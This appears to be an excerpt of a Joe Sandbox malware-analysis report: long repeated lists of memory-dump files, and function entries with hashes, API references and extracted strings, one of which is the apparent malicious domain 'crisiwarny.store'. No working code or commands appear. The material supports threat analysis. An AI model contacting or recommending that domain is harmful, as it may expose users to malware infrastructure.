Associated: 00000000.00000002.1724121123.0000000000B02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724121123.0000000000B2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724168291.0000000000B42000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724186447.0000000000B46000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724205232.0000000000B47000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724223718.0000000000B49000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724245108.0000000000B5C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724265045.0000000000B5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724283723.0000000000B5E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724283723.0000000000B64000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724322483.0000000000B72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724341878.0000000000B73000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_file.jbxd

Similarity

API ID:
String ID: 5c;e$>kjm$A'K)$Jg3i$S;W=$i#E%
API String ID: 0-468034204
Opcode ID: edffdc168227450e9413c5514e8f03fe6b9114367efcebed707ab97214fd7c40
Instruction ID: d7e415dba31c67b55a5d996ed47d6839219b2eef38d34a48081bea0b7e5b376b
Opcode Fuzzy Hash: edffdc168227450e9413c5514e8f03fe6b9114367efcebed707ab97214fd7c40
Instruction Fuzzy Hash: 591287B4114700CFD3249F26D889FAABBB1FB45310F1686ACD69A9F6B2D770A406CF41

Function 0087E1A0 Relevance: 6.8, Strings: 5, Instructions: 540
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

n|of, xrefs: 0087E6A7
i[k], xrefs: 0087E4C3
txLL, xrefs: 0087E697
Ehrd, xrefs: 0087E68F
crisiwarny.store, xrefs: 0087E44E

Memory Dump Source

Source File: 00000000.00000002.1723214505.0000000000871000.00000040.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.1723197918.0000000000870000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723250589.00000000008CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723269562.00000000008D5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723285160.00000000008D6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723300029.00000000008D7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723397634.0000000000A34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723415099.0000000000A36000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723433409.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723433409.0000000000A51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723467872.0000000000A59000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723483859.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723500035.0000000000A65000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723517338.0000000000A6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723809098.0000000000A8A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723828156.0000000000A8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723845372.0000000000A8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723864274.0000000000A98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723885621.0000000000AAD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723904125.0000000000AB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723922482.0000000000ABA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723940253.0000000000ABF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723957672.0000000000AC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723973850.0000000000AC8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723990319.0000000000ACF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724009256.0000000000AD0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724027928.0000000000AD9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724045083.0000000000AE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724064498.0000000000AE7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724081220.0000000000AEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724102450.0000000000B01000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724121123.0000000000B02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724121123.0000000000B2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724168291.0000000000B42000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724186447.0000000000B46000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724205232.0000000000B47000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724223718.0000000000B49000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724245108.0000000000B5C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724265045.0000000000B5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724283723.0000000000B5E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724283723.0000000000B64000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724322483.0000000000B72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724341878.0000000000B73000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_file.jbxd

Similarity

API ID:
String ID: Ehrd$crisiwarny.store$i[k]$n|of$txLL
API String ID: 0-3158903925
Opcode ID: 103e6f71b8714d4155d491aebf6cc05c0cbe9280f85599d9e6b9153cf3ddb311
Instruction ID: 23054f7b3e5595e7d9f8839f819a8fe258789cf8e315707cef67955c448fc700
Opcode Fuzzy Hash: 103e6f71b8714d4155d491aebf6cc05c0cbe9280f85599d9e6b9153cf3ddb311
Instruction Fuzzy Hash: 1A0216759083508FD314DF29EC8236BBBE1FB85304F148A6CE5D99B366E7358909CB92

Function 0087CF90 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 195
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32(00000000), ref: 0087D1C7

Strings

89, xrefs: 0087D13F

Memory Dump Source

Source File: 00000000.00000002.1723214505.0000000000871000.00000040.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.1723197918.0000000000870000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723250589.00000000008CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723269562.00000000008D5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723285160.00000000008D6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723300029.00000000008D7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723397634.0000000000A34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723415099.0000000000A36000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723433409.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723433409.0000000000A51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723467872.0000000000A59000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723483859.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723500035.0000000000A65000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723517338.0000000000A6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723809098.0000000000A8A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723828156.0000000000A8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723845372.0000000000A8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723864274.0000000000A98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723885621.0000000000AAD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723904125.0000000000AB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723922482.0000000000ABA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723940253.0000000000ABF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723957672.0000000000AC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723973850.0000000000AC8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723990319.0000000000ACF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724009256.0000000000AD0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724027928.0000000000AD9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724045083.0000000000AE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724064498.0000000000AE7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724081220.0000000000AEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724102450.0000000000B01000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724121123.0000000000B02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724121123.0000000000B2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724168291.0000000000B42000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724186447.0000000000B46000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724205232.0000000000B47000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724223718.0000000000B49000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724245108.0000000000B5C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724265045.0000000000B5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724283723.0000000000B5E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724283723.0000000000B64000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724322483.0000000000B72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724341878.0000000000B73000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_file.jbxd

Similarity

API ID: ExitProcess
String ID: 89
API String ID: 621844428-155395596
Opcode ID: c4fc627f20ba0477608d73c6183cf44a15d20deb40f9aef815fcf2b0fcce2474
Instruction ID: d60607993152c48560e841e27b7e01e37842a862a3ce8ac5db569ebcc2b27060
Opcode Fuzzy Hash: c4fc627f20ba0477608d73c6183cf44a15d20deb40f9aef815fcf2b0fcce2474
Instruction Fuzzy Hash: D751676275871057E318AA748C563BFBBD1EF82718F198D2CD9C6EB2C2D968CC058792

Function 0088D7F8 Relevance: 1.9, APIs: 1, Instructions: 413
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.1723214505.0000000000871000.00000040.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.1723197918.0000000000870000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723250589.00000000008CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723269562.00000000008D5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723285160.00000000008D6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723300029.00000000008D7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723397634.0000000000A34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723415099.0000000000A36000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723433409.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723433409.0000000000A51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723467872.0000000000A59000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723483859.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723500035.0000000000A65000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723517338.0000000000A6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723809098.0000000000A8A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723828156.0000000000A8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723845372.0000000000A8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723864274.0000000000A98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723885621.0000000000AAD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723904125.0000000000AB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723922482.0000000000ABA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723940253.0000000000ABF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723957672.0000000000AC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723973850.0000000000AC8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723990319.0000000000ACF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724009256.0000000000AD0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724027928.0000000000AD9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724045083.0000000000AE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724064498.0000000000AE7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724081220.0000000000AEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724102450.0000000000B01000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724121123.0000000000B02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724121123.0000000000B2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724168291.0000000000B42000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724186447.0000000000B46000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724205232.0000000000B47000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724223718.0000000000B49000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724245108.0000000000B5C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724265045.0000000000B5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724283723.0000000000B5E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724283723.0000000000B64000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724322483.0000000000B72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724341878.0000000000B73000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e00fe18414ece901bf7219b1bc85598fd163feabc2bb22ea47e9473c417aa928
Instruction ID: 3e7f664a136e3466ed593f73816d8f4708ed1a05a16390fd2fada09d47797cf6
Opcode Fuzzy Hash: e00fe18414ece901bf7219b1bc85598fd163feabc2bb22ea47e9473c417aa928
Instruction Fuzzy Hash: 31D100B5504741CFD7249F28C881B23BBE2FF49314F188A68D49ACB796E734E845CB52

Function 0088104F Relevance: 1.6, APIs: 1, Instructions: 379
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoUninitialize.COMBASE(?,00000001,00000001,?,?,?,00000001,00000001,00000003,00000001,00000001,?,?,?,00000001,00000001), ref: 00881379

Memory Dump Source

Source File: 00000000.00000002.1723214505.0000000000871000.00000040.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.1723197918.0000000000870000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723250589.00000000008CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723269562.00000000008D5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723285160.00000000008D6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723300029.00000000008D7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723397634.0000000000A34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723415099.0000000000A36000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723433409.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723433409.0000000000A51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723467872.0000000000A59000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723483859.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723500035.0000000000A65000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723517338.0000000000A6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723809098.0000000000A8A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723828156.0000000000A8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723845372.0000000000A8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723864274.0000000000A98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723885621.0000000000AAD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723904125.0000000000AB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723922482.0000000000ABA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723940253.0000000000ABF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723957672.0000000000AC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723973850.0000000000AC8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723990319.0000000000ACF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724009256.0000000000AD0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724027928.0000000000AD9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724045083.0000000000AE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724064498.0000000000AE7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724081220.0000000000AEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724102450.0000000000B01000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724121123.0000000000B02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724121123.0000000000B2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724168291.0000000000B42000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724186447.0000000000B46000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724205232.0000000000B47000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724223718.0000000000B49000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724245108.0000000000B5C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724265045.0000000000B5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724283723.0000000000B5E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724283723.0000000000B64000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724322483.0000000000B72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724341878.0000000000B73000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_file.jbxd

Similarity

API ID: Uninitialize
String ID:
API String ID: 3861434553-0
Opcode ID: af760b0e27b1ab10656a924e5c44e490ca69239bb7013e55a82bbaf64f692046
Instruction ID: f8e132d8baf3a3efcb35734c23a0bd16ddd8fb9ce9f6209fcfb5ac1a05c9d091
Opcode Fuzzy Hash: af760b0e27b1ab10656a924e5c44e490ca69239bb7013e55a82bbaf64f692046
Instruction Fuzzy Hash: 04B12AB5A007408BD714AB389CD262BB7A6FF95314F08953CE84B87787EB39E4058763

Function 008AE210 Relevance: 1.6, APIs: 1, Instructions: 65memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(?,00000000,?), ref: 008AE2A1

Memory Dump Source

Source File: 00000000.00000002.1723214505.0000000000871000.00000040.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.1723197918.0000000000870000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723250589.00000000008CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723269562.00000000008D5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723285160.00000000008D6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723300029.00000000008D7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723397634.0000000000A34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723415099.0000000000A36000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723433409.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723433409.0000000000A51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723467872.0000000000A59000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723483859.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723500035.0000000000A65000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723517338.0000000000A6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723809098.0000000000A8A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723828156.0000000000A8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723845372.0000000000A8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723864274.0000000000A98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723885621.0000000000AAD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723904125.0000000000AB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723922482.0000000000ABA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723940253.0000000000ABF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723957672.0000000000AC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723973850.0000000000AC8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723990319.0000000000ACF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724009256.0000000000AD0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724027928.0000000000AD9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724045083.0000000000AE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724064498.0000000000AE7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724081220.0000000000AEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724102450.0000000000B01000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724121123.0000000000B02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724121123.0000000000B2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724168291.0000000000B42000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724186447.0000000000B46000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724205232.0000000000B47000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724223718.0000000000B49000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724245108.0000000000B5C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724265045.0000000000B5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724283723.0000000000B5E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724283723.0000000000B64000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724322483.0000000000B72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724341878.0000000000B73000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_file.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: ba261ad64a65ccf3c4d1d6a90a2964cfe7c7f0ba9fb40eb1ec4c39be5d9a9873
Instruction ID: 06d1c0fad5fc94993fb2873c76803ba0d25a35f93415cca205632e2a303406bb
Opcode Fuzzy Hash: ba261ad64a65ccf3c4d1d6a90a2964cfe7c7f0ba9fb40eb1ec4c39be5d9a9873
Instruction Fuzzy Hash: 5A116B77E452508FD3108F68DCA1797BB6AFBC6711F2A453DDC809B690CA385806CBD1

Function 008B0F10 Relevance: 1.5, APIs: 1, Instructions: 14libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(008B4852,005C003F,00000002,00000018,?), ref: 008B0F3E

Memory Dump Source

Source File: 00000000.00000002.1723214505.0000000000871000.00000040.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.1723197918.0000000000870000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723250589.00000000008CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723269562.00000000008D5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723285160.00000000008D6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723300029.00000000008D7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723397634.0000000000A34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723415099.0000000000A36000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723433409.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723433409.0000000000A51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723467872.0000000000A59000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723483859.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723500035.0000000000A65000.00000080.00000001.01000000.00000003.sdmpDownload File
